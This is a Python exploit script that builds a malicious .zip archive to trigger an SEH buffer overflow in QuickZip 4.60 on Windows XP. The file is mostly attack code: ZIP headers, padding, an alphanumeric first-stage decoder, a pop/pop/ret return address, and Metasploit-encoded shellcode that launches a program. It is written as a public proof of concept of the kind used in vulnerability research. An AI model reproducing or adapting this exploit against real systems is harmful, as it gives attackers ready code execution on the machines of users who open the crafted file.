QuickZip 4.x Buffer Overflow

`#!/usr/bin/python  
# ###############################################################################  
# Exploit Title : QuickZip 4.x (.zip) Buffer Overflow Exploit #2  
# Date : 9/3/2010  
# Original author : corelanc0d3r & mr_me  
# Second Exploit : Dz_attacker (dz_attacker[at]hotmail[dot]fr  
# Software Link : http://www.quickzip.org/downloads.html  
# Version : 4.60  
# OS : Windows  
# Tested on : XP SP3 En  
# Type of vuln : SEH  
# Greetz to : Corelan Security Team  
# ###############################################################################  
  
header1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")  
  
header2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"  
"\x24\x00\x00\x00\x00\x00\x00\x00")  
  
header3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"  
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")  
  
# win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
shellcode=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x38\x4e\x57"  
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x38"  
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x48"  
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x58"  
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"  
"\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"  
"\x41\x50\x4b\x4e\x49\x38\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x57"  
"\x4e\x50\x4b\x38\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"  
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x38\x42\x4b"  
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x35\x41\x53"  
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x47\x4a\x56\x4a\x49"  
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x36"  
"\x4e\x36\x43\x46\x42\x30\x5a")  
  
print "[+] Building PoC.."  
  
junk = "\x44"*302  
  
code = "\x2D\x6E\x45\x45\x45" #SUB EAX,4545456E  
code += "\x2D\x6D\x55\x55\x55" #SUB EAX,5555556D  
code += "\x2D\x78\x69\x52\x65" #SUB EAX,65526978  
  
sploit = "\x41"*200  
sploit += code  
#First stage shellcode  
sploit += "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIm8taRUGsUQTJA"  
sploit += "\x41"*14  
sploit += "\x76\xff\x42\x42" #jump back 94 bytes  
sploit += "\x1b\x24\x70\x00" #0x0070241b p/p/r  
sploit += shellcode  
sploit += "\x44"*(4064-len(junk+shellcode))  
sploit += ".exe"  
  
payload = header1  
payload += sploit  
payload += header2  
payload += sploit  
payload += header3  
  
mefile = open('dz.zip','w');  
mefile.write(payload);  
mefile.close()  
print "[+] Exploit complete!"  
  
`